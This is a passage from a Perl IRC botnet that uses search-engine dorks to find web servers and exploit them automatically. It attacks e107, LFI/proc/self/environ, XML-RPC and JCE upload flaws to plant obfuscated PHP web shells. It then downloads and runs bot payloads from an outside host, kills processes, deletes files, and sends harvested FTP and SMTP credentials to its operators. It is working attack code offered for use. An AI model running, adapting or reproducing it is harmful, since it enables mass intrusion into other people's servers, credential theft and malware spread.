my $code = "ZWNobyAidjBwQ3Izdzxicj4iOw0KZWNobyAic3lzOiIucGhwX3VuYW1lKCkuIjxicj4iOw0KJGNtZD0iZWNobyBub2IwZHlDcjN3IjsNCiRlc2VndWljbWQ9ZXgoJGNtZCk7DQplY2hvICRlc2VndWljbWQ7DQpmdW5jdGlvbiBleCgkY2ZlKXsNCiRyZXMgPSAnJzsNCmlmICghZW1wdHkoJGNmZSkpew0KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpew0KQGV4ZWMoJGNmZSwkcmVzKTsNCiRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpew0KJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpew0KQG9iX3N0YXJ0KCk7DQpAc3lzdGVtKCRjZmUpOw0KJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpew0KQG9iX3N0YXJ0KCk7DQpAcGFzc3RocnUoJGNmZSk7DQokcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKXsNCiRyZXMgPSAiIjsNCndoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0NCkBwY2xvc2UoJGYpOw0KfX0NCnJldHVybiAkcmVzOw0KfQ==";
my $html = &e107_rce_query($test,$code);
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
if ($html =~ /v0pCr3w<br>sys:(.+?)<br>nob0dyCr3w/) {
my $sys = $1;
my $upload = "";
my $res = &e107_rce_query($test);
if ($res =~ /lobexxx/) {
my $check = &get_content($shellz);
if ($check =~ /UnKnown - Simple Shell/) {
&msg("$nick","$e107logo4$engine 4<9=4>9 SheLL 4<9=4>9 $shellz ");sleep(2);
}
} else { &msg("$chan","$e107logo4$engine 4<9=4>4 System 4<9=4>9 $test 4($sys) ");sleep(2); }
}
} exit; }
}
}
}
sub e107_rce_query() {
my $url = $_[0];
my $code = encode_base64('echo "lobexxx";')."JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWw2UXVNNEVQNThWZndINCtzcXFSWkZTK21rRlRUc1pSQ082ZzdLTmUxOUFSUzVpZHNhRWp1eUhibzl4SC9mc1ozMGN0bmxPSFlyb2FZenp6TXZqOGNUdXAvS1RMbTlwYWhGV2ZCUmRpSzEzejdhM3FKRkNwbFZUUXFwR1ovNis4YklKc2pmYmxkRTdiZVNPSXJqWHYvcXhodVRlL0xnM2JYYnZ6eDZZclVlbVc4NkZSWFhLRkg3UUhmTjZSZ2VEVzd3UWpTNHdSZkQ0V2hsMFkrSCtNNjRHYi9mWXcraXYxUkVQRmxUZzU0RGpGSzJBQVFtR1U0THdxY0lHRFRWNkphYjBJYVBEVm1SQ1MzMk13clF6NHl6Y1FwSWJjYVlGQ0tqM3JMK0piQ05uazJLcHBWeGJRSGg0NVB6S0xuc24xSVFvSDkram8rZVRvVmMwVXBEU2dDeXFha3NxUXdoNDFrb1BWNWpSVU4vMlpIbnZwT1RzN01CeUVmM1dSKzBrQkRrVktST1o5a2ZVM2lrZ3JEY3g1eklWNHY3c2Z3OE5ZWWdGUVhlVXRpS2hHcnhCVVFzVkwrYkV5RWN6YlF1RHp1ZFV5WVFyT25rbHZldVJGbmxJelUxMUEzY1pRVFdua2hLVlRBM2NtOWI5SXNUcnc5cnBkTUx4UHYzU1NBMjhadXArU01hM210MkxqZzFFM0FHVTRsWHBtZDlCTHo0WjlDN0hpYm52YitpcTVQTHlMTndrRVNsR1FwS3FMUCs2ZWd5dWhvbWczNS82TjBGdURNdjl4aEM4d3FnNWt5eG9zeDJBQk5oQmxGRnA3REx0NHRjd0xaNDRDZEJ6K0dicHVmUVdnK0EwcGxBdUt1Wnp1bnhpUC9KeFp5alBSVGIya1E4bzJ6ZTdUaGlhaXp0bittbXBsb0UzRFBGL3FYaEI1U0tIRUh0MTQvMkE4QndIQ3htQjdqYkdTL0pMVEFtRlJ4dGlIMGNRS3NKR0VBZmVvMStPOER0dCtZWUFRR2FxVXNXMmxYRkFoNGh3akpTZ05GbjVaeCs2MXd2NjFyNXpDRlBUM21PTmFuc2tiWTN3MWtxbm5mWWM2aWNVREp4Y3l5ZGRPNnFwY2JrSnJKSWhWZFlUQXJsRy8rdTEvSHNRRTNYanZIbGxGdEtlKy9BT0NUVmxlVElTd0lBTnlmOHRITzMwMTdidjVmaTl2Yi81QUQwajVQVWlZeHhIbFVtQzBlWVdnSlhYNXZWaW9qVklNVDQrR2hPUWxKRUVKNDFBbWtaTHl1TjlLS2tJZGIwaThiSWRSeml0TWp3cGpldXhnVmIrVjBjakI1V1h0bmZENER2bU1xT3ZhUE5WeWtja0ExRVI3bHpKYnhtTEdFdkk1bzBsVGZ0bUdIK280VkVtUXVTb1dhV1J0dFR4NkJmWnpOd1RGTnNYYTFsdFdJQUpzQ3YzWE0yelVKYzUvem9vcjFOeFJXZFcvWWhUUzl2TGI1RTA3RVBmcXZ6WXpvM0R4aWxPVVFxMUhHRDRJcXNmV3VzbDlxNmhqZmtYVnV4VTdFYno1R2JKVnRNVThiTXRpOUthbUNuY3V0MU9HZzVRRzJ5RHJ1VXpSYU9ZcnhURXU4T1l4Wng1N0FRanpSazBYYVdHSUQvWFlvdXlzVFJZUE11cXdsNW1ycVlueExLWit2MlZUTVY4SmFrbWRrTHo4Z3RjYlRoajZzMGhmOStrQVpHOEhvNFMxNkhkQWdmb1hSNzIxNklYQTk5b3pMY0VTdE03U3d5KytZQ1NiT1NFdnFGS2EzZ3piSkRtaGJlVGJuZFJkTDFMWFdtaFZWWDNLU1l5REJrS2p6WTMzK0hwSmlicDJvVzcwLzVKbXg3VXU4MC9QV1luU2FIZU9mVDhVbz0iKSkpOwokZmljaGllciA9IGZvcGVuKCcuL2ltYWdlcy9sb2JleC5waHAnLCd3Jyk7CmZ3cml0ZSgkZmljaGllciwgJGMpOwpmY2xvc2UoJGZpY2hpZXIpOwo=";
my $req = HTTP::Request->new(POST => $url);
$req->content_type('application/x-www-form-urlencoded');
$req->content("send-contactus=1&author_name=[php]eval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
my $ua = LWP::UserAgent->new(agent => $uagent);
$ua->timeout(7);
my $res = $ua->request($req);
return $res->content;
}
sub e107_spread_query() {
my $url = $_[0];
my $code = "ZWNobyAidjBwQ3Izdzxicj4iOwplY2hvICJzeXM6Ii5waHBfdW5hbWUoKS4iPGJyPiI7CiRjbWQ9ImVjaG8gbm9iMGR5Q3IzdztjZCAvdG1wO3JtIC1yZiBkb3IuKiAqLnR4dC4qO2ZldGNoIGh0dHA6Ly93d3cuaGFuaGFoby5jb20vYmJzL2RhdGEvX196YlNlc3Npb25UTVAvLl96YlNlc3Npb25JRC9rb3Bsb2svYmFjay5qcGc7cGVybCBiYWNrLmpwZztybSAtcmYgYmFjay5qcGc7d2dldCBodHRwOi8vd3d3LmhhbmhhaG8uY29tL2Jicy9kYXRhL19femJTZXNzaW9uVE1QLy5femJTZXNzaW9uSUQva29wbG9rL2JhY2suanBnO3BlcmwgYmFjay5qcGc7cm0gLXJmIGJhY2suanBnO2N1cmwgLU8gaHR0cDovL3d3dy5oYW5oYWhvLmNvbS9iYnMvZGF0YS9fX3piU2Vzc2lvblRNUC8uX3piU2Vzc2lvbklEL2tvcGxvay9iYWNrLmpwZztwZXJsIGJhY2suanBnO3JtIC1yZiBiYWNrLmpwZztsd3AtZG93bmxvYWQgaHR0cDovL3d3dy5oYW5oYWhvLmNvbS9iYnMvZGF0YS9fX3piU2Vzc2lvblRNUC8uX3piU2Vzc2lvbklEL2tvcGxvay9iYWNrLmpwZztwZXJsIGJhY2suanBnO2NkIC92YXIvdG1wO3JtIC1yZiBkb3IuKiAqLmpwZy4qO2ZldGNoIGh0dHA6Ly93d3cuaGFuaGFoby5jb20vYmJzL2RhdGEvX196YlNlc3Npb25UTVAvLl96YlNlc3Npb25JRC9rb3Bsb2svYmFjay5qcGc7cGVybCBiYWNrLmpwZztybSAtcmYgYmFjay5qcGc7d2dldCBodHRwOi8vd3d3LmhhbmhhaG8uY29tL2Jicy9kYXRhL19femJTZXNzaW9uVE1QLy5femJTZXNzaW9uSUQva29wbG9rL2JhY2suanBnO3BlcmwgYmFjay5qcGc7cm0gLXJmIGJhY2suanBnO2N1cmwgLU8gaHR0cDovL3d3dy5oYW5oYWhvLmNvbS9iYnMvZGF0YS9fX3piU2Vzc2lvblRNUC8uX3piU2Vzc2lvbklEL2tvcGxvay9iYWNrLmpwZztwZXJsIGJhY2suanBnO3JtIC1yZiBiYWNrLmpwZztsd3AtZG93bmxvYWQgaHR0cDovL3d3dy5oYW5oYWhvLmNvbS9iYnMvZGF0YS9fX3piU2Vzc2lvblRNUC8uX3piU2Vzc2lvbklEL2tvcGxvay9iYWNrLmpwZztwZXJsIGJhY2suanBnOyI7CiRlc2VndWljbWQ9ZXgoJGNtZCk7ZWNobyAkZXNlZ3VpY21kOwpmdW5jdGlvbiBleCgkY2ZlKXsKJHJlcyA9ICcnOwppZiAoIWVtcHR5KCRjZmUpKXsKaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpewpAZXhlYygkY2ZlLCRyZXMpOwokcmVzID0gam9pbigiXG4iLCRyZXMpOwp9CmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSl7CiRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsKfQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSl7CkBvYl9zdGFydCgpOwpAc3lzdGVtKCRjZmUpOwokcmVzID0gQG9iX2dldF9jb250ZW50cygpOwpAb2JfZW5kX2NsZWFuKCk7Cn0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7CkBvYl9zdGFydCgpOwpAcGFzc3RocnUoJGNmZSk7CiRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CkBvYl9lbmRfY2xlYW4oKTsKfQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKXsKJGYgPSBAcG9wZW4oJGNmZSwiciIpOwp3aGlsZSghQGZlb2YoJGNmZSkpIHsgJHJlcyAuPSBAZnJlYWQoJGNmZSwxMDI0KTsgfQpAcGNsb3NlKCRmKTsKfX0KcmV0dXJuICRyZXM7Cn0=";
my $req = HTTP::Request->new(POST => $url);
$req->content_type('application/x-www-form-urlencoded');
$req->content("send-contactus=1&author_name=%5Bphp%5Deval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
my $ua = LWP::UserAgent->new(agent => $uagent);
$ua->timeout(7);
my $res = $ua->request($req);
}
sub lfi_exploit() {
my $chan = $_[0];
my $bug = $_[1];
my $nick = $_[2];
my $dork = $_[3];
my $engine = $_[4];
my $count = 0;
my @totexploit = &search_engine($chan,$bug,$dork,$engine,$lfilogo);
my $num = scalar(@totexploit);
if ($num > 0){
foreach my $site(@totexploit){
$count++;
if ($count == $num-1) { &msg("$chan","$lfilogo4$engine 9Finished 4for 9$dork "); }
my $dir = "../../../../../../../../../../../../../../../../../../../../../../../../";
my $test = "http://".$site.$bug.$dir."/proc/self/environ%0000";
my $shell = "http://".$site.$bug.$dir."/tmp/lobex%0000";
my $html = &get_content($test);
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT/) {
my $res = lfi_env_query($test);
# &lfi_spread_query($test);
if ($res =~ /c0li#(.*?)#c0li(.*?)SUCCESS/) {
my $os = $1;
my $uid = $2;
my $lficheck = &get_content($shell);
if ($lficheck =~ /UnKnown - Simple Shell/){
&msg("$nick","$lfilogo4$engine 4<9=4>9 SheLL 4<9=4>9 $shell 4(OS=$os) $uid ");
&msg("$admin","$lfilogo4$engine 4<9=4>9 SheLL 4<9=4>9 $shell 4(OS=$os) $uid ");
} else {
&msg("$chan","$lfilogo4$engine 4<9=4>9 Vuln 4<9=4>9 $site 4(OS=$os) $uid ");
}
}
}
} exit; }
}
}
}
sub lfi_env_query() {
my $url = $_[0];
my $code = 'JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWxkUXVOVEZIMHVFdjl1bUZPeW93V0hla2gyQldScEtaZ1NhQ0UwUWZvQ3lHWHNWakpnajYyWk1ka1U4ZC8zM2hrN0pNdFBkclZzaVdidnVWOTB6bHluKzdHY2w5dGJpaW5GQ3hFcEhWanR0ZyszdDVpVWhZd2tLd3VwdVppNSszWGtSdUx1WTZXWWFWdEVHSVJ1ZjJOazVWbmkyL2pPdVhhM2YyM1kzbmZkWnNWb1JVZFBFNS9zVUVONHdTYndpQUhEdjRQaEZUMGJqUzZqczA0NG9qZm81dUpwd3owTS9ob0g0U2dhRC9zV01DblNKU0Ixbk1aeEdZc1pnUWlXZFdVdE1EWEdSb1NwYThyeS9aUUI5Qk1YUEpwT2x3NGFvN3hWbWJQcWZ3VjVrNGVXYjFZbHVWNVArdkRvTklqT0J5Y0JKQmljbnRMRFZHQWhSdXdWMUFXQVdYWW1XQ1o5cURndmxKNHNVcHd6YWpXUmNMK2pvNU9USWRCSHo4enVaeUVoeVZoT3crQjhNQXJXZ3ZLWWRDNFZzYXhuWkR1Um4zTjE4SklpcDd1RUdwTG9MajJMRmMvSTcyc2lzU0JtcmN1RFFhZWhDUWg0SnJrVy9WZ1NNbXpQc0lkdGdIaE93Tm8zN0JZU3pGcWIxRFQ5N01UckEzN2k2Um5pM1R0UUVKKzZqWGYrQ0ZOS1FaSVZncUZ2UXpDcXFISEMxaVhnaE1mRC91VW9PdTEvRGk2T3pnUEh5Q0J5VjJiaVA2RkJCc2ZqOCtCdkZBMEhnNUZtNDlIT290empJc2txZ09LejRteVpNUThVamdLUnpESjU2KzBTbTdCNkIvaUI2amxyazIwT3JHMEFsTXdMVDd1YTY0ejF4dUpDUkN3RTJTT2g2WjJFWnBaeTNZNzE0aFExZkUzQS9VWDhIK2IvVDVJaWc5UDYrWVA1OUxxVEh2VkpOVDNhN1ZuQUpscGpDNHhFQllmdFJwZHRNRzhFQnVCU0c2UGI5blg3clRYR0VBQlFSenoxV3FaOENZK1Fia2pDbzNIMjVKeDk2MXhpNjFyMThQQ2dJTVhqakNwbWxPM05OTk5YSkJxMkdDa1hRNHlndHBKU2Q2OUxnaWFyeEVubEt5MXlUQ2dYL2J0Qnh6RlBOSzRkOUhKWkdFcDc3ejA2Sk5PVkZBUXRIb0NiazMxTHN4dVYxL2J2bGJpKy9pODFBUDFsa2JvUVJlWUFjakluT1dFUVlQb1NTaXFKRFFjK3BiM1hDVDB1OGp3V2RsQmdsNHV5MGxFdldPWkd6YjUxVjVCd255WnNWemU5YmpYSitaUGY1cUhrUHM0cTgvc084QjNzck9jY1lXbks0SUJaaXJ6S05DL2hYWEJqZTNhczQ2YnpjeHljNWw5VEdKZE1FYWZrbEhUTWpORk85TE4yNWp4YW1haTdTTGIzRGNBVTRuZzNkeE4vMHJybUI1dnQxUzR1Mk1KUkg1RDFKdGJ5STVzMit2MWlhQjNCRnZoQVZwTEZWL2s2M2dpd1d0WStPdEVyWWUzQUcvU3VyVWx4N01xeHdjMWxyVmxSeW1UTGwwSnFZS2R5K25WdjZta2c2TUU0ekRMRzdSdGVPUTBsemczZ0RNam9NQy91VEhHenN6UlBnUHZkRUoyWGtRMkRqYnZxeGpOeTZuTitWU3FjMXU2UlV4WHdhWEVwN29WVWJ4Y3gyZkNIU0pMQXZ4Nml3ZVI5bXc2VzE4RUpvWWZrMGR5MmRDVFhvbUpMaGp0dktLdWRiSGZlUy9WTkt5VmJTdEN2allMMnpRZVd0Y0lkSDdFdkxHUXhrOWwzU1ZFZGpLWHJyMHZ5UDVJNm1TSjdUT3k4a1Bodzd5cz0iKSkpOwokZmljaGllciA9IGZvcGVuKCcvdG1wL2xvYmV4JywndycpOwpmd3JpdGUoJGZpY2hpZXIsICRjKTsKZmNsb3NlKCRmaWNoaWVyKTsK';
my $ua = LWP::UserAgent->new(agent => "<?echo 'c0li#'.php_uname().'#c0li'.get_current_user();eval(base64_decode('".$code."'));echo 'SUCCESS';?>");
$ua->timeout(7);
my $req = HTTP::Request->new(GET => $url);
my $res = $ua->request($req);
return $res->content;
}
sub xml_exploit() {
my $chan = $_[0];
my $bug = $_[1];
my $nick = $_[2];
my $dork = $_[3];
my $engine = $_[4];
my $count = 0;
my @totexploit = &search_engine($chan,$bug,$dork,$engine,$xmllogo);
my $num = scalar(@totexploit);
if ($num > 0){
foreach my $site(@totexploit){
$count++;
if ($count == $num-1) { &msg("$chan","$xmllogo4$engine 9Finished 4for 9$dork "); }
my $test = "http://".$site.$bug;
my $vuln = "http://".$site."12".$bug;
my $html = &get_content($test);
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
if ($html =~ /faultcode/i ) {
my $resp = &xml_cek_query2($test);
if ($resp =~ /Byroe(.*)Lobex/s) {
# &xml_spread_query($test);sleep(1);
my $sys = $1;
my $shell = "http://".$site."/lobex.php";
my $check = &get_content($shell);
if ($check =~ /UnKnown - Simple Shell/) {
my $safe = ""; my $os = ""; my $uid = "";
if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
&msg("$nick","$xmllogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
&msg("$admin","$xmllogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
}
# else {
# &msg("$chan","0,1$xmllogo(4@8$engine4)4(13@12SysTem4)10 ".$vuln." 3".$sys); sleep(1);}
}
}
} exit;
}
}
}
}
sub xml_cek_query() {
my $url = $_[0];
my $code = "system('uname -a');";
my $ua = LWP::UserAgent->new(agent => 'perl post');
$exploit = "<?xml version=\"1.0\"?><methodCall>";
$exploit .= "<methodName>test.method</methodName>";
$exploit .= "<params><param><value><name>',''));";
$exploit .= "echo'j13mb0t';".$code."echo'j13mb0t';exit;/*</name></value></param></params></methodCall>";
$ua->timeout(7);
my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit);
return $res->content;
}
sub xml_cek_query2() {
my $url = $_[0];
my $string = "JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWw2UXVNNEVQNThWZndINCtzcXFSWkZTK21rRlRUc1pSQ082ZzdLTmUxOUFSUzVpZHNhRWp1eUhibzl4SC9mc1ozMGN0bmxPSFlyb2FZenp6TXZqOGNUdXAvS1RMbTlwYWhGV2ZCUmRpSzEzejdhM3FKRkNwbFZUUXFwR1ovNis4YklKc2pmYmxkRTdiZVNPSXJqWHYvcXhodVRlL0xnM2JYYnZ6eDZZclVlbVc4NkZSWFhLRkg3UUhmTjZSZ2VEVzd3UWpTNHdSZkQ0V2hsMFkrSCtNNjRHYi9mWXcraXYxUkVQRmxUZzU0RGpGSzJBQVFtR1U0THdxY0lHRFRWNkphYjBJYVBEVm1SQ1MzMk13clF6NHl6Y1FwSWJjYVlGQ0tqM3JMK0piQ05uazJLcHBWeGJRSGg0NVB6S0xuc24xSVFvSDkram8rZVRvVmMwVXBEU2dDeXFha3NxUXdoNDFrb1BWNWpSVU4vMlpIbnZwT1RzN01CeUVmM1dSKzBrQkRrVktST1o5a2ZVM2lrZ3JEY3g1eklWNHY3c2Z3OE5ZWWdGUVhlVXRpS2hHcnhCVVFzVkwrYkV5RWN6YlF1RHp1ZFV5WVFyT25rbHZldVJGbmxJelUxMUEzY1pRVFdua2hLVlRBM2NtOWI5SXNUcnc5cnBkTUx4UHYzU1NBMjhadXArU01hM210MkxqZzFFM0FHVTRsWHBtZDlCTHo0WjlDN0hpYm52YitpcTVQTHlMTndrRVNsR1FwS3FMUCs2ZWd5dWhvbWczNS82TjBGdURNdjl4aEM4d3FnNWt5eG9zeDJBQk5oQmxGRnA3REx0NHRjd0xaNDRDZEJ6K0dicHVmUVdnK0EwcGxBdUt1Wnp1bnhpUC9KeFp5alBSVGIya1E4bzJ6ZTdUaGlhaXp0bittbXBsb0UzRFBGL3FYaEI1U0tIRUh0MTQvMkE4QndIQ3htQjdqYkdTL0pMVEFtRlJ4dGlIMGNRS3NKR0VBZmVvMStPOER0dCtZWUFRR2FxVXNXMmxYRkFoNGh3akpTZ05GbjVaeCs2MXd2NjFyNXpDRlBUM21PTmFuc2tiWTN3MWtxbm5mWWM2aWNVREp4Y3l5ZGRPNnFwY2JrSnJKSWhWZFlUQXJsRy8rdTEvSHNRRTNYanZIbGxGdEtlKy9BT0NUVmxlVElTd0lBTnlmOHRITzMwMTdidjVmaTl2Yi81QUQwajVQVWlZeHhIbFVtQzBlWVdnSlhYNXZWaW9qVklNVDQrR2hPUWxKRUVKNDFBbWtaTHl1TjlLS2tJZGIwaThiSWRSeml0TWp3cGpldXhnVmIrVjBjakI1V1h0bmZENER2bU1xT3ZhUE5WeWtja0ExRVI3bHpKYnhtTEdFdkk1bzBsVGZ0bUdIK280VkVtUXVTb1dhV1J0dFR4NkJmWnpOd1RGTnNYYTFsdFdJQUpzQ3YzWE0yelVKYzUvem9vcjFOeFJXZFcvWWhUUzl2TGI1RTA3RVBmcXZ6WXpvM0R4aWxPVVFxMUhHRDRJcXNmV3VzbDlxNmhqZmtYVnV4VTdFYno1R2JKVnRNVThiTXRpOUthbUNuY3V0MU9HZzVRRzJ5RHJ1VXpSYU9ZcnhURXU4T1l4Wng1N0FRanpSazBYYVdHSUQvWFlvdXlzVFJZUE11cXdsNW1ycVlueExLWit2MlZUTVY4SmFrbWRrTHo4Z3RjYlRoajZzMGhmOStrQVpHOEhvNFMxNkhkQWdmb1hSNzIxNklYQTk5b3pMY0VTdE03U3d5KytZQ1NiT1NFdnFGS2EzZ3piSkRtaGJlVGJuZFJkTDFMWFdtaFZWWDNLU1l5REJrS2p6WTMzK0hwSmlicDJvVzcwLzVKbXg3VXU4MC9QV1luU2FIZU9mVDhVbz0iKSkpOwokZmljaGllciA9IGZvcGVuKCcuL2xvYmV4LnBocCcsJ3cnKTsKZndyaXRlKCRmaWNoaWVyLCAkYyk7CmZjbG9zZSgkZmljaGllcik7Cg==";
my $ua = LWP::UserAgent->new(agent => 'perl post');
$exploit = "<?xml version=\"1.0\"?><methodCall>";
$exploit .= "<methodName>test.method</methodName>";
$exploit .= "<params><param><value><name>',''));";
$exploit .= "echo 'Byroe';echo(php_uname());eval(base64_decode('$string'));echo 'Lobex';exit;/*</name></value></param></params></methodCall>";
$ua->timeout(7);
my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit);
return $res->content;
}
sub xml_spread_query() {
my $xmltargt = $_[0];
my $xmlsprd = "system('wget ".$injector." -O lobex.php;fetch ".$injector.";mv bad.txt lobex.php;wget ".$botshell." -O tmp.php;fetch ".$botshell.";mv bot.txt tmp.php;killall -9 perl;killall -9 php;cd /tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php bot.txt;rm -rf bot.txt;wget ".$botshell.";php bot.txt;rm -rf bot.txt;curl -O ".$botshell.";php bot.txt;rm -rf bot.txt;lwp-download ".$botshell.";php bot.txt;cd /var/tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php bot.txt;rm -rf bot.txt;wget ".$botshell.";php bot.txt;rm -rf bot.txt;curl -O ".$botshell.";php bot.txt;rm -rf bot.txt;lwp-download ".$botshell.";php bot.txt;');";
my $userAgent = LWP::UserAgent->new(agent => 'perl post');
$exploit = "<?xml version=\"1.0\"?><methodCall>";
$exploit .= "<methodName>test.method</methodName>";
$exploit .= "<params><param><value><name>',''));";
$exploit .= "echo'j13m';".$xmlsprd."echo'b0T';exit;/*</name></value></param></params></methodCall>";
$userAgent->timeout(7);
my $response = $userAgent->request(POST $xmltargt, Content_Type => 'text/xml', Content => $exploit);
}
sub jce_exploit() {
my $chan = $_[0];
my $bug = $_[1];
my $nick = $_[2];
my $dork = $_[3];
my $engine = $_[4];
my $count = 0;
my @totexploit = &search_engine($chan,$bug,$dork,$engine,$jcelogo);
my $num = scalar(@totexploit);
if ($num > 0){
foreach my $site(@totexploit){
$count++;
my $shell = "http://".$site."images/stories/food.php";
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my $status = &jce_upload($site);&jce_upload($site);
if ($status = 1) {
my $check = &get_content($shell."?rf");
if ($check =~ /UnKnown - Simple Shell/) {
&get_content($shell."?cmd=curl+-C+-+-O+".$botxx."%3Bperl+back.jpg%3Brm+back.jpg%3Bwget http://www.hanhaho.com/bbs/data/__zbSessionTMP/._zbSessionID/koplok/star.jpg -O star.jpg%3Bphp star.jpg");
my $safe = ""; my $os = ""; my $uid = "";
my $ftphost = ""; my $ftpuser = ""; my $ftppass = ""; my $ftpopen = "";
my $smtphost = ""; my $smtpuser = ""; my $smtppass = ""; my $smtpauth = "";
if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
if ($check =~ m/\$ftp_host = '(.+?)';/i){$ftphost=$1;}
if ($check =~ m/\$ftp_user = '(.+?)';/i){$ftpuser=$1;}
if ($check =~ m/\$ftp_pass = '(.+?)';/i){$ftppass=$1;}
if ($check =~ m/\$ftp_enable = '(.+?)';/i){$ftpopen=$1;}
if ($check =~ m/\$smtphost = '(.+?)';/i){$smtphost=$1;}
if ($check =~ m/\$smtpuser = '(.+?)';/i){$smtpuser=$1;}
if ($check =~ m/\$smtppass = '(.+?)';/i){$smtppass=$1;}
if ($check =~ m/\$smtpauth = '(.+?)';/i){$smtpauth=$1;}
&msg("$chan","$jcelogo4$engine 4<9=4>9 Target Sent To 4<9=4>9 $nick4 (SafeMode=$safe) (OS=$os) uid=$uid ");
if ($nick eq $admin) {
&msg("$admin","$jcelogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
&msg("$admin2","$jcelogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
&msg("$admin3","$jcelogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
} else {
&msg("$nick","$jcelogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
&msg("$admin","$jcelogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
&msg("$admin2","$jcelogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
&msg("$admin3","$jcelogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
}
if ($smtpauth =~ /1/) {
&msg("$chan","4,1 [8SMTP4] Found on 8http://$site ");
&msg("$admin","4,1 [8SMTP4] [ 8host : ".$smtphost." 4] [ 8login : ".$smtpuser." 4] [ 8pass : ".$smtppass." 4]");
&msg("$admin2","4,1 [8SMTP4] [ 8host : ".$smtphost." 4] [ 8login : ".$smtpuser." 4] [ 8pass : ".$smtppass." 4]");
&msg("$admin3","4,1 [8SMTP4] [ 8host : ".$smtphost." 4] [ 8login : ".$smtpuser." 4] [ 8pass : ".$smtppass." 4]");
}
if ($ftpopen =~ /1/){
my $hozt = $site;
$hozt =~ s/\///;
&ftp($hozt,$ftpuser,$ftppass,$chan);
}
}
}
} exit;
}
if ($count == $num-1) {
&msg("$chan","$jcelogo4$engine 9Finished 4for 9$dork ");
if ($engine =~ /UoL/) {
&sendraw("mode $chan -m");
}
}
}
}
}
sub jce_upload() {
my $success = 0;
my $url = $_[0];
$url =~ s/http:\/\///;
my $host = $url;
my $path = $url;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$path =~ s/(.*)\/[^\/]*$/\1/;
$path .= "/";
$path =~ s/([-a-zA-Z0-9\.]+)/$2/;
if ($path eq "") { $path = "/" }
$header1P = "POST ".$path."index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1";
$header1P2 = "POST ".$path."index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1";
$header2 = "Host: $host";
$header3 = "User-Agent: BOT/0.1 (BOT for JCE)";
$header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334";
$header5 = "Content-Length: 5000";
$header6 = "-----------------------------41184676334";
$header7 = 'Content-Disposition: form-data; name="upload-dir"';
$header8 = '/';
$header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""';
$header10 = 'Content-Type: application/octet-stream';
$header11 = 'Content-Disposition: form-data; name="upload-overwrite"';
$header12 = "0";
